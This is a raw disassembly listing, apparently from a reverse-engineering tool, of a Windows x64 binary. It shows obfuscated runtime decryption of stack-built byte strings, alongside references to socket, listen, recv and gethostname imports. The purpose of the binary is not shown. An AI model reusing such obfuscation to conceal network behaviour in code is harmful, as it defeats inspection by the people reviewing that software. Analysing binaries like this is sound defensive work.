mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0x770]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x770], dl
add rdi, r11
jmp 0x140125b07
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x770]
add bl, r9b
add bl, dl
jmp 0x140125beb
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140125ac1
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140125ca8
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x140125bc3
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x140125b77
movabs rdx, 0x31bc64311980951a
mov ecx, r14d
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r9b
mov byte [rbp + r10 + 0x770], cl
add r11, r15
jmp 0x140125bc3
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r10, r15
jmp 0x140125ca8
mov r9, r8
movabs rcx, 0xf7605aceb88db032
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x770], al
add r11, r15
add rax, r11
sub r10, rax
jmp 0x140125c45
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x18
add cl, r9b
mov byte [rbp + r10 + 0x770], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140125c99
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x770]
add rax, r11
add r10, rax
add r10, r15
jmp 0x14012514c
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140125149
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140125139
lea rdx, [rbp + 0x1598318]
jmp 0x140125d15
lea rdx, [rbp + 0x16dc0d6]
jmp 0x140125d15
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x480]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1e30]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140125d4a
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1e30]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1e30]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1e30]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x9b0], 0xe3
mov byte [rbp + 0x9b1], 0xad
mov byte [rbp + 0x9b2], 0xec
mov byte [rbp + 0x9b3], 0xab
mov byte [rbp + 0x9b4], recv
mov byte [rbp + 0x9b5], 0xa9
mov byte [rbp + 0x9b6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x9b7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x9b8], 0x3d
mov byte [rbp + 0x9b9], __WSAFDIsSet
mov byte [rbp + 0x9ba], 0
mov byte [rbp + 0x9bb], __WSAFDIsSet
mov byte [rbp + 0x9bc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x9bd], __WSAFDIsSet
mov byte [rbp + 0x9be], reloc.WS2_32.dll_listen
mov byte [rbp + 0x9bf], 0x9f
mov byte [rbp + 0x9c0], 7
mov byte [rbp + 0x9c1], 0x9d
mov byte [rbp + 0x9c2], 5
mov byte [rbp + 0x9c3], 0x9b
mov byte [rbp + 0x9c4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x9c5], 0x99
mov byte [rbp + 0x9c6], Ordinal_46
mov byte [rbp + 0x9c7], 0x87
mov byte [rbp + 0x9c8], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x9c9], 0x85
mov byte [rbp + 0x9ca], Ordinal_217
mov byte [rbp + 0x9cb], 0x83
mov byte [rbp + 0x9cc], 0x3d
mov byte [rbp + 0x9cd], 0x81
mov byte [rbp + 0x9ce], Ordinal_50
mov byte [rbp + 0x9cf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x9d0], Ordinal_46
mov byte [rbp + 0x9d1], Ordinal_143
mov byte [rbp + 0x9d2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x9d3], Ordinal_143
mov byte [rbp + 0x9d4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x9d5], Ordinal_143
mov byte [rbp + 0x9d6], 0x64
mov byte [rbp + 0x9d7], 0xf7
mov byte [rbp + 0x9d8], 0x5c
mov byte [rbp + 0x9d9], 0xf5
mov byte [rbp + 0x9da], 0x62
mov byte [rbp + 0x9db], 0xf3
mov byte [rbp + 0x9dc], 0xaa
mov byte [rbp + 0x9dd], 0xf1
mov byte [rbp + 0x9de], 0xa2
mov byte [rbp + 0x9df], 0xff
mov byte [rbp + 0x9e0], 0xae
mov byte [rbp + 0x9e1], 0xfd
mov byte [rbp + 0x9e2], 0x57
mov byte [rbp + 0x9e3], 0xfb
mov byte [rbp + 0x9e4], 0x60
mov byte [rbp + 0x9e5], 0xf9
mov byte [rbp + 0x9e6], Ordinal_79
mov byte [rbp + 0x9e7], 0xe7
mov byte [rbp + 0x9e8], 0xb6
mov byte [rbp + 0x9e9], 0xe5
mov byte [rbp + 0x9ea], 0x77
mov byte [rbp + 0x9eb], 0xe3
mov byte [rbp + 0x9ec], 0x7d
mov byte [rbp + 0x9ed], 0xe1
mov byte [rbp + 0x9ee], 0x47
mov byte [rbp + 0x9ef], 0xef
mov byte [rbp + 0x9f0], 0xec
mov byte [rbp + 0x9f1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9f2], xmm0
mov qword [rbp + 0xa02], rax
mov byte [rbp + 0xa0a], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x5b
jae 0x140126b33
movzx r9d, byte [rbp + r10 + 0x9b0]
mov r8, r9
cmp rdi, r10
ja 0x140126b2a
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140125fd1
movabs rsi, 0xfa317cbfea226b1a
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x140126015
je 0x140126aa4
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140126a19
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401269e3
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140126999
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140126970
movabs rsi, 0xfa317cbfea226b1a
cmp r11, r10
ja 0x140126b21
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x14012603b
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140126222
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14012692a
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14012690a
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401268e7
lea rax, [r11 + 7]
cmp rdi, rax
je 0x1401268c4
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401265bc
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14012659b
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x140126587
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140126564
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140126543
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14012652f
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14012650c
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401264f8
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401264d7
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401264b1
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14012607c
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x140126afe
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x140126ad8
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14012625c
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140126239
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140126213
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x140126456
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1401263fc
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1401263af
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14012638c
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14012636b
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x140126357
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x140126334
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14012630e
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401262ec
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401262c6
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x1401262a4
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140126282
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14012607c
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x14012607c
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012606f
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140126015
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140125f99
movabs rcx, 0x3079ddf1a6964910
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x140126948
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14012698e
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140126991
movabs rcx, 0x5350f17229c7c674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x1401269b7
movabs rdx, 0x5eedf7f25582f040
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140126a04
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x54
jmp 0x140126a07
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x140126623
movabs rdx, 0x81c50b72d8b46da4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x1401268e0
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x140126ac1
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x16
add bl, dl
cmp r11, 0x41
jb 0x140126863
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 8]
jmp 0x140126948
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 3
jae 0x140126870
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x1401267a8
movabs rcx, 0x23d9f578ff064e54
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x1401263cd
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x140126899
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x1401266c4
movabs rcx, 0x9dcab9baca338532
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
jmp 0x14012641d
movabs rdx, 0x245b66753cf0b6cc
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140126ac1
movabs rdx, 0x2ff86cf568abe098
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
jmp 0x1401268e0
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140126623
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x50
jmp 0x140126a07
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401269f2
movabs rdx, 0x5e6c86f6179887c8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x1401269b5
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x140126991
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401266ad
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x34
jmp 0x140126946
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x1401265e0
lea rdx, [r10 + rsi]
mov al, dl
and al, r9b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140126474
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14012660f
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140126ac1
cmp rdi, rcx
jne 0x140126638
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401268bd
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140126665
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401269b5
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140126691
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x64
jmp 0x140126991
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140126474
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012698e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401266f3
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140126948
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140126722
movabs rdx, 0x7af3a63a470207ce
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140126991
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14012674e
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x7a
jmp 0x140126a04
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140126778
movabs rdx, 0x4c7f8c399815609e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x1401268bd
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14012641d
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x140126ac1
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401267c5
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401265f8
cmp rdi, rcx
jne 0x1401267ec
movabs rcx, 0xc9fe878a78ffabc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x140126a6d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140126818
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x140126a04
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140126835
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x1401266ad
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401263cd
movabs rdx, 0xbb54baf77571d628
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x140126946
mov byte [rbp + r10 + 0x9b0], bl
jmp 0x140126ad0
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x9b0]
jmp 0x14012665d
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x9b0]
sub bl, 0x5c
add bl, dl
jmp 0x140126a3d
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140126a6d
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x140126a07
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x32
jmp 0x140126991
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x3a
add r9b, cl
mov byte [rbp + r10 + 0x9b0], r9b
jmp 0x14012698e
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x16
add r11, r15
sub r10, r15
jmp 0x140126ad0
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x9b0], cl
jmp 0x140126a04
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140126ad0
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x92af2436dc62c3de
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x12
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x9b0], al
add r11, r15
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x9b0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140126ac1
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0x9b0]
add rax, r11
add r10, rax
add r10, r15
jmp 0x140125f86
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140125f83
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
jmp 0x140125f73
lea rdx, [rbp + 0x15fff28]
jmp 0x140126b3a
lea rdx, [rbp + 0x1026a42]
jmp 0x140126b3a
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp - 0x60]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1f40]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140126b6c
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1f40]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1f40]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1f40]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x590], Ordinal_60
mov byte [rbp + 0x591], Ordinal_143
mov byte [rbp + 0x592], 0x61
mov byte [rbp + 0x593], 0xf3
mov byte [rbp + 0x594], 0x5a
mov byte [rbp + 0x595], 0xf1
mov byte [rbp + 0x596], 0x62
mov byte [rbp + 0x597], 0xf7
mov byte [rbp + 0x598], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x599], 0xf5
mov byte [rbp + 0x59a], 0x5b
mov byte [rbp + 0x59b], 0xfb
mov byte [rbp + 0x59c], WSACleanup
mov byte [rbp + 0x59d], 0xf9
mov byte [rbp + 0x59e], 0x5b
mov byte [rbp + 0x59f], 0xff
mov byte [rbp + 0x5a0], 0x40
mov byte [rbp + 0x5a1], 0xfd
mov byte [rbp + 0x5a2], 0x59
mov byte [rbp + 0x5a3], 0xe3
mov byte [rbp + 0x5a4], Ordinal_79
mov byte [rbp + 0x5a5], 0xe1
mov byte [rbp + 0x5a6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5a7], 0xe7
mov byte [rbp + 0x5a8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5a9], 0xe5
mov byte [rbp + 0x5aa], 0x7f
mov byte [rbp + 0x5ab], 0xeb
mov byte [rbp + 0x5ac], 0x7a
mov byte [rbp + 0x5ad], 0xe9
mov byte [rbp + 0x5ae], Ordinal_79
mov byte [rbp + 0x5af], 0xef
mov byte [rbp + 0x5b0], 0x7a
mov byte [rbp + 0x5b1], 0xed
mov byte [rbp + 0x5b2], 0x88
mov byte [rbp + 0x5b3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5b4], 0x84
mov byte [rbp + 0x5b5], Ordinal_211
mov byte [rbp + 0x5b6], Ordinal_217
mov byte [rbp + 0x5b7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5b8], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x140127853
movzx r8d, byte [rbp + r9 + 0x590]
mov rdx, r8
cmp rdi, r9
ja 0x14012784a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140126d2d
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x140126d71
je 0x1401277cb
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140127745
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140127718
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401276cc
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14012767c
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140127841
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140126d97
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140126fac
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14012765b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140127638
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140127612
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401275ec
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401275ca
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14012735f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14012733c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140127316
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401272f3
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401272df
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401272bd
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012729b
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140127278
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140127256
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140127230
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140126de5
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14012781f
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401277fd
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140126fe5
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140126fc3
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140126f9d
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401271d7
lea rax, [r10 + 0x400]
